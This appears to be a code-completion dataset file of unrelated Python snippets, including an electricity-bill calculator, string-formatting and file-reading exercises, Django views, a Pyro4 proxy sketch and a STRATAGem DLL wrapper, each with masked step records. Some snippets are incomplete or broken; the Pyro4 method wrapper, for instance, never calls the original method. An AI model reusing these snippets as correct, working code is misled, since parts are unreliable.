def TongTien(m1,m2,s): if s <=100: tong = m1 * s else: tong = m1 * 100 + m2 * (s-100) print tong m1 = float(raw_input("nhap gia m1 :")) m2 = float(raw_input("nhap gia m2 :")) s = int (raw_input("nhap so dien da dung :")) TongTien(m1,m2,s)
normal
{ "blob_id": "1de8c129769827c7fe763ce221cb9fdf8226e473", "index": 114, "step-1": "def TongTien(m1,m2,s):\n\n\tif s <=100:\n\t\ttong = m1 * s\n\telse:\n\t\ttong = m1 * 100 + m2 * (s-100)\n\n\n\tprint tong\n\n\nm1 = float(raw_input(\"nhap gia m1 :\"))\n\nm2 = float(raw_input(\"nhap gia m2 :\"))\n\ns = int (raw_input(\"nhap so dien da dung :\"))\n\nTongTien(m1,m2,s)", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
#encoding:utf-8 x="There are %d types of peopel."%10 #定义字符串变量x,将10以%d方式输出 binary="binary" do_not="don't" #定义字符串变量binary和do_not y="Those who know %s and those who %s."%(binary,do_not) #使用binary和do_not定义字符串变量y print x print y #打印以上两个变量 print "I said:%r"%x print "I also said:%r."%y #用%r的格式输出以上两个变量 hilarious=False joke_evaluation="Isn't that joke funny?!%r" #定义两个变量hilarious和joke_evaluation print joke_evaluation%hilarious #把变量joke_evaluation中的格式化字符用hilarious打印出 w="This is the left side of ..." a="a string with the right side." #定义字符串变量w和a print w+a #使用加号连接w和a联合输出 #因为+作为操作符,可以将两个字符串变量连接后输出
normal
{ "blob_id": "c2ba60a321eff63f6321831093d7254f6939549b", "index": 9040, "step-1": "#encoding:utf-8\nx=\"There are %d types of peopel.\"%10\n#定义字符串变量x,将10以%d方式输出\nbinary=\"binary\"\ndo_not=\"don't\"\n#定义字符串变量binary和do_not\ny=\"Those who know %s and those who %s.\"%(binary,do_not)\n#使用binary和do_not定义字符串变量y\n\nprint x\nprint y\n#打印以上两个变量\n\nprint \"I said:%r\"%x\nprint \"I also said:%r.\"%y\n#用%r的格式输出以上两个变量\n\nhilarious=False\njoke_evaluation=\"Isn't that joke funny?!%r\"\n#定义两个变量hilarious和joke_evaluation\n\nprint joke_evaluation%hilarious\n#把变量joke_evaluation中的格式化字符用hilarious打印出\n\nw=\"This is the left side of ...\"\na=\"a string with the right side.\"\n#定义字符串变量w和a\n\nprint w+a\n#使用加号连接w和a联合输出\n#因为+作为操作符,可以将两个字符串变量连接后输出", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for line in fileobj3.readlines(): print(line) fileobj3.close() <|reserved_special_token_1|> <|reserved_special_token_0|> fileobj3 = open('lines.txt', 'r') for line in fileobj3.readlines(): print(line) fileobj3.close() <|reserved_special_token_1|> ''' 文件读写的步骤 1.打开文件 2.处理数据 3.关闭文件 1.open函数: fileobj = open(filename, mode) fileobj是open()函数返回的文件对象 mode第一个字母指明文件类型和操作的字符串,第二个字母是文件类型: t(可省略)文本类型,b二进制类型。 文件打开模式:r只读(默认),w覆盖写(不存在则新创建) a追加模式(不存在则创建) 2.read(size):从文件读取长度为size的字符串,若未给定或为负则读取所有内容 3.readline():读取整行返回字符串 4.readlines():读取所有行并返回列表 5.write(s):把字符串s的内容写入文件 ''' ''' #复制一个文件 fileobj1 = open("test1.txt", "r") fileobj2 = open("test2.txt", "w") s = fileobj1.read() fileobj2.write(s) fileobj1.close() fileobj2.close() ''' #多行文件读写 fileobj3 = open("lines.txt", "r") for line in fileobj3.readlines(): print(line) fileobj3.close()
flexible
{ "blob_id": "25f3c9f48b779d2aec260d529529156ff3c508ca", "index": 7719, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor line in fileobj3.readlines():\n print(line)\nfileobj3.close()\n", "step-3": "<mask token>\nfileobj3 = open('lines.txt', 'r')\nfor line in fileobj3.readlines():\n print(line)\nfileobj3.close()\n", "step-4": "'''\n文件读写的步骤\n 1.打开文件\n 2.处理数据\n 3.关闭文件\n1.open函数:\n fileobj = open(filename, mode)\n fileobj是open()函数返回的文件对象\n mode第一个字母指明文件类型和操作的字符串,第二个字母是文件类型:\n t(可省略)文本类型,b二进制类型。\n 文件打开模式:r只读(默认),w覆盖写(不存在则新创建)\n a追加模式(不存在则创建)\n2.read(size):从文件读取长度为size的字符串,若未给定或为负则读取所有内容\n3.readline():读取整行返回字符串\n4.readlines():读取所有行并返回列表\n5.write(s):把字符串s的内容写入文件\n'''\n'''\n#复制一个文件\nfileobj1 = open(\"test1.txt\", \"r\")\nfileobj2 = open(\"test2.txt\", \"w\")\ns = fileobj1.read()\nfileobj2.write(s)\nfileobj1.close()\nfileobj2.close()\n'''\n\n#多行文件读写\nfileobj3 = open(\"lines.txt\", \"r\")\nfor line in fileobj3.readlines():\n print(line)\nfileobj3.close()", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def view2(request): context = {'tag_var': 'tag_var'} return render(request, 'new.html', context) <|reserved_special_token_1|> <|reserved_special_token_0|> def view1(request): return HttpResponse(' Hey..,This is the first view using HttpResponce!') def view2(request): context = {'tag_var': 'tag_var'} return render(request, 'new.html', context) <|reserved_special_token_1|> from django.shortcuts import render from django.http import HttpResponse def view1(request): return HttpResponse(' Hey..,This is the first view using HttpResponce!') def view2(request): context = {'tag_var': 'tag_var'} return render(request, 'new.html', context) <|reserved_special_token_1|> from django.shortcuts import render from django.http import HttpResponse def view1(request): return HttpResponse(" Hey..,This is the first view using HttpResponce!") def view2(request): context={"tag_var":"tag_var"} return render(request,"new.html",context) # Create your views here.
flexible
{ "blob_id": "c9b62328a463fd38f3dbd1e7b5e1990f7eec1dba", "index": 9793, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef view2(request):\n context = {'tag_var': 'tag_var'}\n return render(request, 'new.html', context)\n", "step-3": "<mask token>\n\n\ndef view1(request):\n return HttpResponse(' Hey..,This is the first view using HttpResponce!')\n\n\ndef view2(request):\n context = {'tag_var': 'tag_var'}\n return render(request, 'new.html', context)\n", "step-4": "from django.shortcuts import render\nfrom django.http import HttpResponse\n\n\ndef view1(request):\n return HttpResponse(' Hey..,This is the first view using HttpResponce!')\n\n\ndef view2(request):\n context = {'tag_var': 'tag_var'}\n return render(request, 'new.html', context)\n", "step-5": "from django.shortcuts import render\nfrom django.http import HttpResponse\ndef view1(request):\n return HttpResponse(\" Hey..,This is the first view using HttpResponce!\")\ndef view2(request):\n context={\"tag_var\":\"tag_var\"}\n return render(request,\"new.html\",context)\n# Create your views here.\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import Pyro4 from Pyro4 import Daemon, Proxy from threading import Thread import thread import pickle import socket Pyro4.config.REQUIRE_EXPOSE = False def register(obj): ''' Register an object with daemon ''' daemon = Pyro4.Daemon(host="localhost") uri = daemon.register(obj) # Scheduler serve_daemon(daemon) return uri def serve_daemon(daemon): ''' Serve the daemon in a separate thread ''' t = Thread(target=lambda: daemon.requestLoop()) t.setDaemon(True) t.start() def proxy(uri): ''' Return a proxy object for the given uri ''' return Pyro4.Proxy(uri) class SharedObject(object): ''' Shared object that is distribtued across nodes ''' def __init__(self): ''' Register the child object to the daeomn and replace object with the proxy object ''' self.name = register(self) print proxy(self.name) def __getattribute__(self, name): """ Intercept calls to any of the methods in the child object """ attr = object.__getattribute__(self, name) if hasattr(attr, '__call__'): def newfunc(*args, **kwargs): # Allow async calls to methods (promises) if 'async' in kwargs: del kwargs['async'] # result = func(*args, **kwargs) # return result return newfunc else: return attr
normal
{ "blob_id": "02cd99f0a265fe01835a6adc211e750a58d993fd", "index": 6610, "step-1": "import Pyro4\nfrom Pyro4 import Daemon, Proxy\nfrom threading import Thread\nimport thread\nimport pickle\nimport socket\n\nPyro4.config.REQUIRE_EXPOSE = False\n\ndef register(obj):\n ''' Register an object with daemon '''\n daemon = Pyro4.Daemon(host=\"localhost\")\n uri = daemon.register(obj) # Scheduler\n serve_daemon(daemon)\n return uri\n\ndef serve_daemon(daemon):\n ''' Serve the daemon in a separate thread '''\n t = Thread(target=lambda: daemon.requestLoop())\n t.setDaemon(True)\n t.start()\n\ndef proxy(uri):\n ''' Return a proxy object for the given uri '''\n return Pyro4.Proxy(uri)\n\n\nclass SharedObject(object):\n ''' Shared object that is distribtued across nodes '''\n\n def __init__(self):\n ''' Register the child object to the daeomn and\n replace object with the proxy object '''\n self.name = register(self)\n print proxy(self.name)\n\n def __getattribute__(self, name):\n \"\"\" Intercept calls to any of the methods in the child object \"\"\"\n attr = object.__getattribute__(self, name)\n if hasattr(attr, '__call__'):\n def newfunc(*args, **kwargs):\n # Allow async calls to methods (promises)\n if 'async' in kwargs: del kwargs['async']\n # result = func(*args, **kwargs)\n # return result\n return newfunc\n else:\n return attr", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
""" Main class of the interface. It setups the experimental parameters such as the :class:`.Experiment`'s and :class:`.Sample`, geometry (:attr:`geometry <Stratagem.geometry>`), type of :math:`\\phi(\\rho z)` model (:attr:`prz_mode <Stratagem.prz_mode>`) and fluorescence mode (:attr:`fluorescence <Stratagem.fluorescence>`). """ # Standard library modules. import os import ctypes as c import logging logger = logging.getLogger(__name__) from operator import attrgetter import random import string import functools try: import winreg except ImportError: try: import _winreg as winreg except ImportError: class winreg: HKEY_CURRENT_USER = None class _PyHKEY(object): def __enter__(self): return self def __exit__(self, exc_type, exc_value, traceback): pass def OpenKey(self, key, sub_key, res, sam): return self._PyHKEY() def QueryValueEx(self, key, value_name): return None # Third party modules. # Local modules. from stratagemtools.sample import Sample, CONC_UNKNOWN, CONC_DIFF from stratagemtools.experiment import Experiment, LINE_KA from stratagemtools.element_properties import \ atomic_mass_kg_mol, mass_density_kg_m3 # Globals and constants variables. _REGISTRY_KEY = "Software\SAMx\Stratagem\Configuration" _REGISTRY_VALUENAME = 'InstallOEMDirectory' PRZMODE_XPP = 0 """:math:`\\phi(\\rho z)` from XPP""" PRZMODE_PAP = 1 """:math:`\\phi(\\rho z)` from PAP""" PRZMODE_GAU = 2 """:math:`\\phi(\\rho z)` *unknown*, possibly two Gaussians""" FLUORESCENCE_NONE = 0 """No fluorescence""" FLUORESCENCE_LINE = 1 """Only characteristic fluorescence""" FLUORESCENCE_LINE_CONT = 2 """Characteristic and Bremsstrahlung fluorescence""" _CONCENTRATION_FLAG_KNOWN = 0 _CONCENTRATION_FLAG_UNKNOWN = 1 _CONCENTRATION_FLAG_STOICHIOMETRIC = 2 _CONCENTRATION_FLAG_TRACE = 3 _CONCENTRATION_FLAG_DIFFERENCE = 4 class StratagemError(Exception): """ Exception raised for all errors related to the STRATAGem interface. """ pass def _check_key(method): @functools.wraps(method) def wrapper(self, *args, **kwargs): if self._key is None: raise StratagemError('Not initialize. Call init().') return method(self, *args, **kwargs) return wrapper class Stratagem: """ Main interface establishing a connection to the STRATAGem OEM interface and perform calculations using SAMx's STRATAGem. It is highly recommended to use :class:`Stratagem` as a context manager (i.e. ``with`` statement) to ensure that the connection to the DLL is properly closed. For instance:: >>> with Stratagem() as strata: ... strata.prz_mode = PRZMODE_XPP Otherwise the following series of method must be called:: >>> strata = Stratagem() >>> strata.init() >>> strata.prz_mode = PRZMODE_XPP >>> strata.close() """ def __init__(self, dll_path=None, display_error=True): """ :arg dll_path: complete path to the location of ``stratadllogger.dll`` (optional). If ``None``, the path is found in the Windows registry under ``Software\SAMx\Stratagem\Configuration``. If the DLL is not found a :class:`StratagemError` is raised. :type dll_path: :class:`str` :arg display_error: whether to display a message dialog on error :type display_error: :class:`bool` """ if dll_path is None: with winreg.OpenKey(winreg.HKEY_CURRENT_USER, _REGISTRY_KEY) as key: #@UndefinedVariable basedir = winreg.QueryValueEx(key, _REGISTRY_VALUENAME)[0] #@UndefinedVariable dll_path = os.path.join(basedir, 'bin', 'stratadll.dll') cwd = os.getcwd() try: logger.debug("dll=%s", dll_path) self._lib = c.WinDLL(dll_path) finally: os.chdir(cwd) # Change back to real cwd logger.debug("StEnableErrorDisplay(%r)", display_error) self._lib.StEnableErrorDisplay(c.c_bool(display_error)) self._key = None self._cwd = os.getcwd() self._layers = {} # layer: index self._substrate = None self._experiments = {} # experiment: (element, line, kratio) indexes self._tmpstandards = [] def __enter__(self): self.init() return self def __exit__(self, exc_type, exc_val, exc_tb): self.close() return False def _stobjectnew(self, key=None, standard=False): if key is None: characters = string.ascii_lowercase key = ''.join(random.choice(characters) for _ in range(8)) key = key.encode('ascii') if not isinstance(key, c.c_byte): key = c.create_string_buffer(key) bnormal_ = c.c_bool(not standard) iniflags_ = c.c_int(0) logger.debug("StObjectNew(key, %r, %i)", not standard, 0) if not self._lib.StObjectNew(key, bnormal_, iniflags_): self._raise_error("Cannot create object") return key def _raise_error(self, alternate=''): """ Raises a :class:`StratagemError`. The error code and message of known errors are retrieved from STRATAGem. If this is not possible, *alternate* is used as the error message. """ errnum_ = c.c_ulong() errtype_ = c.c_int() self._lib.StGetLastError(c.byref(errnum_), c.byref(errtype_)) if errnum_.value != 0: if errtype_.value == 0: buf_ = c.create_string_buffer(256) self._lib.StGetMsg(errnum_, buf_, 256) raise StratagemError(buf_.value.decode('ascii')) elif errtype_.value == 1: raise c.WinError(errtype_.value) else: raise StratagemError('Error %i' % errnum_.value) else: raise StratagemError(alternate) def init(self): """ Initializes and setups STRATAGem. It does not have to be used if :class:`Stratagem` is used as a context manager. """ if self._key is not None: raise RuntimeError('Already initialized. Call close() first.') self._key = self._stobjectnew() self._cwd = os.getcwd() self.reset() def close(self): """ Closes the connection to the STRATAGem DLL. It does not have to be used if :class:`Stratagem` is used as a context manager. """ if self._key is not None: logger.debug('StObjectDelete(key)') self._lib.StObjectDelete(self._key) self._key = None for filepath in self._tmpstandards: os.remove(filepath) logger.debug('Remove temporary standard: %s', filepath) self.reset() def reset(self): """ Resets all parameters to the defaults, remove all experiments and sample. """ if self._key: self._lib.StObjectReset(self._key) os.chdir(self._cwd) self._layers.clear() # layer: index self._substrate = None self._experiments.clear() # analyzed experiments self._tmpstandards.clear() @_check_key def set_sample(self, sample): """ Sets the sample, which will be used in all subsequent calculations. Note that only one sample can be defined. :arg sample: sample definition :type sample: :class:`Sample` """ self.reset() for layer in sample.layers: index = self._add_layer(layer, substrate=False) self._layers.setdefault(layer, index) index = self._add_layer(sample.substrate, substrate=True) self._substrate = (sample.substrate, index) @_check_key def get_sample(self): """ Returns the current sample. It can correspond to the sample defined by :meth:`set_sample` or the sample resulting from the computations (see :meth:`compute`). .. note:: a new sample is returned every time this method is called :return: current sample :rtype: :class:`Sample` """ sample = Sample(self._substrate[0].composition) for layer in self._layers: sample.add_layer(layer.composition, layer.thickness_m, layer.mass_thickness_kg_m2, layer.density_kg_m3) return sample sample = property(get_sample, set_sample, doc="Property to set/get sample") def _add_layer(self, layer, substrate=False, key=None): """ Internal method to add a layer from top to bottom. The last layer added is considered as the substrate. :arg layer: layer :type layer: :class:`.Layer` :return: index of the layer """ if key is None: key = self._key logger.debug("StSdAddLayer(key)") ilayer_ = self._lib.StSdGetNbLayers(key) logger.debug("StSdAddLayer(key, %i)", ilayer_) if not self._lib.StSdAddLayer(key, ilayer_): self._raise_error("Cannot add layer") for i, value in enumerate(layer.composition.items()): ielt_ = c.c_int(i) logger.debug("StSdAddElt(key, %i, %i)", ilayer_, i) if not self._lib.StSdAddElt(key, ilayer_, ielt_): self._raise_error("Cannot add element") z, wf = value nra_ = c.c_int(z) logger.debug("StSdSetNrAtom(key, %i, %i, %i)", ilayer_, i, z) if not self._lib.StSdSetNrAtom(key, ilayer_, ielt_, nra_): self._raise_error("Cannot set atomic number") if wf is None or wf == CONC_UNKNOWN: flag = _CONCENTRATION_FLAG_UNKNOWN elif wf == CONC_DIFF: flag = _CONCENTRATION_FLAG_DIFFERENCE else: flag = _CONCENTRATION_FLAG_KNOWN wf_ = c.c_double(wf) logger.debug("StSdSetConc(key, %i, %i, %f)", ilayer_, i, wf) if not self._lib.StSdSetConc(key, ilayer_, ielt_, wf_): self._raise_error("Cannot set concentration") logger.debug("StSdSetConcFlag(key, %i, %i, %i)", ilayer_, i, flag) if not self._lib.StSdSetConcFlag(key, ilayer_, ielt_, c.c_int(flag)): self._raise_error("Cannot set concentration flag") if not substrate: thick_known = layer.is_thickness_known() thick_known_ = c.c_bool(thick_known) if layer.is_density_known(): density = layer.density_kg_m3 / 1e3 # g/cm3 else: density = 10.0 density_ = c.c_double(density) if thick_known: thickness = layer.thickness_m * 1e10 # Angstroms mass_thickness = layer.mass_thickness_kg_m2 * 0.1 # g/cm2 else: thickness = 0.0 mass_thickness = 0.0 thickness_ = c.c_double(thickness) mass_thickness_ = c.c_double(mass_thickness) logger.debug("StSdSetThick(key, %i, %r, %d, %d, %d)", ilayer_, thick_known, mass_thickness, thickness, density) if not self._lib.StSdSetThick(key, ilayer_, thick_known_, mass_thickness_, thickness_, density_): self._raise_error("Cannot set thickness") return int(ilayer_) def _create_standard(self, standard): """ Internal method to create a new object defining the standard :class:`.Sample`. """ # Create new object key_ = self._stobjectnew(standard=True) # Set sample for layer in standard.layers: self._add_layer(layer, substrate=False, key=key_) self._add_layer(standard.substrate, substrate=True, key=key_) # Save filename = key_.value.decode('ascii') + '.tfs' filepath = os.path.join(self.get_standard_directory(), filename) filepath_ = c.create_string_buffer(filepath.encode('ascii')) logger.debug('StObjectWriteFile(key, %s)', filepath) if not self._lib.StObjectWriteFile(key_, filepath_): self._raise_error("Cannot save standard") # Delete object self._lib.StObjectDelete(key_) self._tmpstandards.append(filepath) return filepath @_check_key def add_experiment(self, experiment): """ Adds an experiment, i.e. measurements of k-ratio at different energies. .. hint:: Use :meth:`reset` method to remove defined experiments. :arg experiment: experiment :type experiment: :class:`Experiment` """ nra_ = c.c_int(experiment.z) klm_ = c.c_int(experiment.line) hv_ = c.c_double(experiment.energy_eV / 1e3) ielt_ = c.c_int() iline_ = c.c_int() iexpk_ = c.c_int() logger.debug('StEdAddNrAtomLineHV(key, %i, %i)', experiment.z, experiment.line) if not self._lib.StEdAddNrAtomLineHV(self._key, nra_, klm_, hv_, c.byref(ielt_), c.byref(iline_), c.byref(iexpk_)): self._raise_error("Cannot add atomic number and line") standard = experiment.standard if isinstance(standard, Sample): standard = self._create_standard(standard) standard_ = c.create_string_buffer(standard.encode('ascii')) logger.debug('StEdSetLine(key, %i, %i, %i, %s)', ielt_.value, iline_.value, klm_.value, standard) if not self._lib.StEdSetLine(self._key, ielt_, iline_, klm_, standard_): self._raise_error("Cannot set standard") analyzed = experiment.is_analyzed() analyzed_ = c.c_bool(analyzed) logger.debug("StEdSetAnalyzedFlag(key, %i, %r)", ielt_.value, analyzed) if not self._lib.StEdSetAnalyzedFlag(self._key, ielt_, analyzed_): self._raise_error("Cannot add experiment analyzed flag") kratio_ = c.c_double(experiment.kratio) logger.debug("StEdSetExpK(key, %i, %i, %i, %f, %f, %f, 0.0, 2)", ielt_.value, iline_.value, iexpk_.value, experiment.energy_eV / 1e3, experiment.energy_eV / 1e3, experiment.kratio) if not self._lib.StEdSetExpK(self._key, ielt_, iline_, iexpk_, hv_, hv_, kratio_, c.c_double(0.0), c.c_int(2)): self._raise_error("Cannot set experiment k-ratio") if experiment.is_analyzed(): indexes = (ielt_.value, iline_.value, iexpk_.value) self._experiments.setdefault(experiment, indexes) @_check_key def add_experiments(self, *exps): """ Adds several experiments:: >>> strata.add_experiments(exp1, exp2, exp3) """ for exp in exps: self.add_experiment(exp) def get_experiments(self): """ Returns a :class:`tuple` of all defined experiments. :rtype: :class:`tuple` """ return tuple(self._experiments.keys()) @_check_key def set_geometry(self, toa, tilt, azimuth): """ Sets the geometry. :arg toa: take off angle (in radians) :arg tilt: tilt angle (in radians) :arg azimuth: azimuthal angle (in radians) """ toa_ = c.c_double(toa) tilt_ = c.c_double(tilt) azimuth_ = c.c_double(azimuth) logger.debug('StSetGeomParams(key, %f, %f, %f)', toa, tilt, azimuth) if not self._lib.StSetGeomParams(self._key, toa_, tilt_, azimuth_): self._raise_error("Cannot set geometry parameters") @_check_key def get_geometry(self): """ Returns the geometry. :return: take off angle (in radians), tilt angle (in radians), azimuthal angle (in radians) """ toa_ = c.c_double() tilt_ = c.c_double() azimuth_ = c.c_double() logger.debug('StGetGeomParams(key)') if not self._lib.StGetGeomParams(self._key, c.byref(toa_), c.byref(tilt_), c.byref(azimuth_)): self._raise_error("Cannot get geometry parameters") return toa_.value, tilt_.value, azimuth_.value geometry = property(get_geometry, doc='Property to get geometry') @_check_key def set_prz_mode(self, mode): """ Sets the type of model to use for the :math:`\\phi(\\rho z)`. :arg mode: type of model, either * :data:`PRZMODE_XPP` * :data:`PRZMODE_PAP` * :data:`PRZMODE_GAU` :type mode: :class:`int` """ mode_ = c.c_int(mode) logger.debug('StSetPrzMode(%i)', mode) self._lib.StSetPrzMode(mode_) @_check_key def get_prz_mode(self): """ Returns the type of model to use for the :math:`\\phi(\\rho z)`. :return: either :data:`PRZMODE_XPP`, :data:`PRZMODE_PAP` or :data:`PRZMODE_GAU` :rtype: :class:`int` """ return self._lib.StGetPrzMode() prz_mode = property(get_prz_mode, set_prz_mode, doc='Property to get/set prz mode') @_check_key def set_fluorescence(self, flag): """ Sets the fluorescence flag. :arg flag: either * :data:`FLUORESCENCE_NONE` * :data:`FLUORESCENCE_LINE` * :data:`FLUORESCENCE_LINE_CONT` :type flag: :class:`int` """ flag_ = c.c_int(flag) logger.debug('StSetFluorFlg(%i)', flag) self._lib.StSetFluorFlg(flag_) @_check_key def get_fluorescence(self): """ Returns the fluorescence flag. :return: either :data:`FLUORESCENCE_NONE`, :data:`FLUORESCENCE_LINE` or :data:`FLUORESCENCE_LINE_CONT` :rtype: :class:`int` """ return self._lib.StGetFluorFlg() fluorescence = property(get_fluorescence, set_fluorescence, doc='Property to get/set fluorescence') @_check_key def set_standard_directory(self, dirpath): """ Sets the directory where standard files are stored. :arg dirpath: path to directory :type dirpath: :class:`str` """ dirpath_ = c.create_string_buffer(dirpath.encode('ascii')) self._lib.StSetDirectory(c.c_int(1), dirpath_) @_check_key def get_standard_directory(self): """ Returns the directory where standard files are stored. :rtype: :class:`str` """ dirpath = (c.c_char * 256)() self._lib.StGetDirectory(c.c_int(1), c.byref(dirpath), 256) return dirpath.value.decode('ascii') standard_directory = property(get_standard_directory, set_standard_directory, doc='Property to get/set standard directory') @_check_key def compute_kratio_vs_thickness(self, layer, thickness_low_m, thickness_high_m, step): """ Computes the variation of the k-ratio as a function of the thickness for a layer. :arg layer: layer of a sample (must have been previously added) :type layer: :class:`.Layer` :arg thickness_low_m: lower limit of the thickness in meters :type thickness_low_m: :class:`float` :arg thickness_high_m: upper limit of the thickness in meters :type thickness_high_m: :class:`float` :arg step: number of steps :type step: :class:`int` :return: :class:`tuple` containing * :class:`list` of thicknesses * :class:`dict` where the keys are experiments (as defined by :meth:`.add_experiment`) and the values are :class:`list` containing k-ratios for each thickness """ logger.debug('StSetKvsThicknessUnit(2)') self._lib.StSetKvsThicknessUnit(2) # unit in nm if layer not in self._layers: raise ValueError("Unknown layer") ilayer = self._layers[layer] ilayer_ = c.c_int(ilayer) step_ = c.c_int(step) logger.debug('StSetNbComputedHV(%i)', step) self._lib.StSetNbComputedHV(step_) # Compute low_ = c.c_double(thickness_low_m * 1e9) high_ = c.c_double(thickness_high_m * 1e9) logger.debug('StComputeKvsThickness(key, %i, %f, %f)', ilayer, thickness_low_m * 1e9, thickness_high_m * 1e9) if not self._lib.StComputeKvsThickness(self._key, ilayer_, low_, high_): self._raise_error("Cannot compute k-ratio vs thickness") # Fetch results thicknesses = [] kratios = {} thick_ = c.c_double() k_ = c.c_double() for i in range(step + 1): i_ = c.c_int(i) if not self._lib.StGetKvsT_Thick(self._key, i_, c.byref(thick_)): self._raise_error("Cannot get thickness") thicknesses.append(thick_.value) for experiment, indexes in self._experiments.items(): ielt_ = c.c_int(indexes[0]) iline_ = c.c_int(indexes[1]) iHv_ = c.c_int(indexes[2]) if not self._lib.StGetKvsT_K(self._key, i_, ielt_, iline_, iHv_, c.byref(k_)): self._raise_error("Cannot get k-ratio") kratios.setdefault(experiment, []).append(k_.value) return thicknesses, kratios @_check_key def compute_kratio_vs_energy(self, energy_high_eV, step): """ Computes the variation of the k-ratio as a function of the incident energy. Note that the computation also starts at 0 keV up to the specified energy. :arg energy_high_eV: upper limit of the thickness in electronvolts :type energy_high_eV: :class:`float` :arg step: number of steps :type step: :class:`int` :return: :class:`tuple` containing * :class:`list` of energies in electronvolts * :class:`dict` where the keys are experiments (as defined by :meth:`.add_experiment`) and the values are :class:`list` containing k-ratios for each energy """ step_ = c.c_int(step) logger.debug('StSetNbComputedHV(%i)', step) self._lib.StSetNbComputedHV(step_) energy_ = c.c_double(energy_high_eV / 1e3) logger.debug('StSetMaxHV(%f)' % (energy_high_eV / 1e3,)) self._lib.StSetMaxHV(energy_) # Compute logger.debug('StComputeKvsHV(key)') if not self._lib.StComputeKvsHV(self._key): self._raise_error("Cannot compute k-ratio vs energy") # Fetch results energies = [] kratios = {} k_ = c.c_double() bHV_ = c.c_bool(True) increment = float(energy_high_eV / 1e3) / step for i in range(step + 1): hv = i * increment hv_ = c.c_double(hv) for experiment, indexes in self._experiments.items(): ielt_ = c.c_int(indexes[0]) iline_ = c.c_int(indexes[1]) if not self._lib.StKvsHvOrRx(self._key, ielt_, iline_, hv_, bHV_, c.byref(k_)): self._raise_error("Cannot get k-ratio") kratios.setdefault(experiment, []).append(k_.value) energies.append(hv) return energies, kratios @_check_key def compute_kratios(self): """ Computes the k-ratios of the different experiments. :return: :class:`dict` where the keys are experiments (as defined by :meth:`.add_experiment`) and the values are k-ratios (:class:`float`). """ if len(self._layers) == 0: return self._compute_kratios_substrate() else: return self._compute_kratios_multilayers() @_check_key def _compute_kratios_multilayers(self): """ Internal method to compute the k-ratios using the :meth:`compute_kratio_vs_thickness`. """ for i, layer in enumerate(self._layers.keys()): if not layer.is_thickness_known(): raise ValueError("Thickness of layer %i is unknown" % i) # Compute layer = list(self._layers.keys())[0] thickness_low_m = layer.thickness_m thickness_high_m = layer.thickness_m * 10 step = 1 _thicknesses, kratios = \ self.compute_kratio_vs_thickness(layer, thickness_low_m, thickness_high_m, step) # Reorganize results output = {} for experiment, kratio in kratios.items(): output.setdefault(experiment, kratio[0]) return output @_check_key def _compute_kratios_substrate(self): """ Internal method to compute the k-ratios using the :meth:`compute_kratio_vs_energy`. """ output = {} step = 2 for experiment in self._experiments: energy_high_eV = experiment.energy_eV _energies, kratios = \ self.compute_kratio_vs_energy(energy_high_eV, step) kratio = kratios[experiment][-1] if (kratio < 0): # Bug in strategem that some energy don't work logger.warn("STRATAGem returns a negative k-ratio, re-try with energy + 1 eV") _energies, kratios = \ self.compute_kratio_vs_energy(energy_high_eV + 1.0, step) kratio = kratios[experiment][-1] output.setdefault(experiment, kratio) return output @_check_key def compute(self, iteration_max=50): """ Computes the unknown composition(s) and thickness(es) in the specified sample. :arg iteration_max: maximum number of iterations of the solve (default: 50) :type iteration_max: :class:`int` :return: calculated sample :rtype: :class:`.Sample` """ # Add missing experiments zs = set(exp.z for exp in self._experiments.keys()) for layer in list(self._layers.keys()) + [self._substrate[0]]: for z, wf in layer.composition.items(): if z in zs: continue if wf is None: continue logger.debug('Added dummy experiment for z=%i', z) exp = Experiment(z, LINE_KA, 0.0, analyzed=False) # dummy self.add_experiment(exp) # Set iteration maximum iteration_max_ = c.c_int(iteration_max) logger.debug('StSetMaxNbIter(%i)', iteration_max) self._lib.StSetMaxNbIter(iteration_max_) # Compute logger.debug('StComputeIterpStart(key)') if not self._lib.StComputeIterpStart(self._key): self._raise_error("Cannot start iteration") continue_ = c.c_bool(True) iteration = 0 logger.debug('Start iteration') while True: iteration += 1 logger.debug('Iteration #%i' % iteration) logger.debug('StComputeIterpNext(key, %r)' % continue_.value) if not self._lib.StComputeIterpNext(self._key, c.byref(continue_)): break if not continue_.value: break logger.debug('Iteration completed') # Fetch results thick_known = c.c_bool() mass_thickness = c.c_double() thickness = c.c_double() density = c.c_double() def get_layer(layer, ilayer): ilayer_ = c.c_int(ilayer) logger.debug('StSdGetNbElts(key, %i)' % ilayer) nbelt = self._lib.StSdGetNbElts(self._key, ilayer_) if nbelt == -1: self._raise_error("Cannot get number of elements") flag_ = (c.c_int * nbelt)() wfs_ = (c.c_double * nbelt)() logger.debug('StSdGetLayRawConcs(key, %i, flag, wfs)' % ilayer) if not self._lib.StSdGetLayRawConcs(self._key, ilayer_, flag_, wfs_): self._raise_error("Cannot get layer concentration") composition = {} for z in layer.composition.keys(): nra_ = c.c_int(z) logger.debug('StSdGetEltIdx(key, %i, %i)' % (ilayer, z)) zindex = self._lib.StSdGetEltIdx(self._key, ilayer_, nra_) composition[z] = wfs_[zindex] logger.debug("StSdGetThick(key, %i)", ilayer) if not self._lib.StSdGetThick(self._key, ilayer_, c.byref(thick_known), c.byref(mass_thickness), c.byref(thickness), c.byref(density)): self._raise_error("Cannot get thickness") return (composition, thickness.value / 1e10, mass_thickness.value * 10.0, density.value * 1e3) sample = Sample(get_layer(*self._substrate)[0]) for layer, ilayer in self._layers.items(): sample.add_layer(*get_layer(layer, ilayer)) return sample @_check_key def compute_prz(self, maxdepth_m=None, bins=100): """ Compute :math:`\\phi(\\rho z)` of all experiments. .. warning:: Only available for substrate (no layers). :arg maxdepth_m: maximum depth of the :math:`\\phi(\\rho z)` distribution in meters. If ``None``, Kanaya-Okayama electron range is used with a safety factor of 1.5. :type maxdepth_m: :class:`float` :arg bins: number of bins in the :math:`\\phi(\\rho z)` distribution 